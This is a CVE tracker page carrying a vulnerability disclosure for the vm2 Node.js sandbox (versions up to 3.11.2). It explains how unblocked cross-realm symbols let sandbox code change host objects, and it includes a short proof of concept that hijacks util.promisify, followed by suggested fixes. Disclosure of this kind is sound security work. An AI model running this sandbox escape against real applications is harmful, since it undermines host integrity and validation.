Critical Alert 1 Active Exploit Detected Today

CVE-2026-45247 Mirasvit Full Page Cache Warmer Deserialization of Untrusted Data Vulnerability →
Powered by CVE Watchtower
×

CVE Watchtower


← Back to CVE List

CVE-2026-47135NVD

Description

## Summary

vm2 3.11.2 `Symbol.for` override in `setup-sandbox.js` only intercepts 2 of 9 dangerous Node.js cross-realm symbols. Combined with the bridge's `set`/`defineProperty`/`deleteProperty` traps having **no** `isDangerousCrossRealmSymbol` key check, sandbox code can obtain real cross-realm symbols, write them to host objects, and control host-side behavior — verified with a full `util.promisify` hijack chain.

## Root Cause

**1. Incomplete `Symbol.for` override** (`setup-sandbox.js:132-142`):

```js
Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr === 'nodejs.util.inspect.custom') return blockedSymbolCustomInspect;
if (keyStr === 'nodejs.rejection') return blockedSymbolRejection;
return originalSymbolFor(keyStr); // everything else passes through
};
```

Only `inspect.custom` and `rejection` are blocked. The following 7 Node.js internal symbols pass through as **real cross-realm symbols**:

- `nodejs.util.promisify.custom`
- `nodejs.stream.readable`
- `nodejs.stream.writable`
- `nodejs.stream.duplex`
- `nodejs.stream.transform`
- `nodejs.webstream.isClosedPromise`
- `nodejs.webstream.controllerErrorFunction`

Note: `bridge.js` `isDangerousCrossRealmSymbol` covers `promisify.custom` on **reads**, but the `Symbol.for` override in setup-sandbox does not block it at the source.

**2. Missing symbol check in bridge write traps** (`bridge.js`):

The `get` trap (line 1148) and `ownKeys` trap (line 1541) both check `isDangerousCrossRealmSymbol(key)`, but `set` (line 1231), `defineProperty` (line 1427), and `deleteProperty` (line 1493) have **no such check**. Sandbox code can write/define/delete properties with dangerous symbol keys on any non-protected host object.

**3. Incomplete filters in setup-sandbox.js**:

`isDangerousSymbol()`, `Object.getOwnPropertyDescriptors` override, and `Object.assign` override only filter `inspect.custom` and `rejection` — missing `promisify.custom` and all stream/webstream symbols.

## Verified Exploitation: util.promisify Hijack

```js
const { VM } = require('vm2');
const util = require('util');

const vm = new VM();
const hostFn = function readFile(path, cb) { cb(null, 'real data'); };
vm.setGlobal('hostFn', hostFn);

// Sandbox writes promisify.custom to host function
vm.run(`
const kPromisify = Symbol.for('nodejs.util.promisify.custom');
hostFn[kPromisify] = function(path) {
return Promise.resolve('HIJACKED by sandbox');
};
`);

// Host-side: promisified function now returns sandbox-controlled value
const asyncRead = util.promisify(hostFn);
asyncRead('/etc/passwd').then(console.log);
// Output: "HIJACKED by sandbox"
```

**Additional verified attacks:**

- Writing `nodejs.stream.writable` to a host Readable stream, altering its duck-typing identity
- `Object.assign` propagates unblocked symbols from sandbox source to host target
- `Object.defineProperty` with unblocked symbol key succeeds on host objects
- `delete hostObj[unblocked_symbol]` succeeds, removing host-set symbol properties

## Impact

- **Semantic confusion**: Sandbox controls host `util.promisify` behavior, host stream type checks, and WebStream internals for any non-frozen host object exposed to the sandbox.
- **Data integrity**: Host code relying on promisified function results gets sandbox-controlled values.
- **Defense bypass**: Combined with specific host API patterns, sandbox-provided fake streams could bypass host-side input validation.

This is not a direct RCE — the bridge still wraps sandbox functions crossing the boundary — but it grants the sandbox control over host-side control flow decisions that depend on these symbol-keyed properties.

## Affected Versions

- vm2 <= 3.11.2 (all 3.x versions)

## Environment

- Node.js v24.14.0
- macOS (Darwin 25.4.0)

## Suggested Fix

1. **`setup-sandbox.js`**: Block all `nodejs.*` prefixed symbols:

```js
Symbol.for = function (key) {
const keyStr = '' + key;
if (keyStr.startsWith('nodejs.')) return Symbol(keyStr);
return originalSymbolFor(keyStr);
};
```

2. **`bridge.js`**: Add check to write traps:

```js
set(target, key, value, receiver) {
if (isDangerousCrossRealmSymbol(key)) throw new VMError(OPNA);
// ...
}
```

3. **`setup-sandbox.js`**: Sync `isDangerousSymbol`, `Object.getOwnPropertyDescriptors`, `Object.assign` to cover all dangerous symbols.
Severity Level
HIGH (8.7)
Published Date
29/05/2026
Last Modified
29/05/2026
Exploitation Status
????

References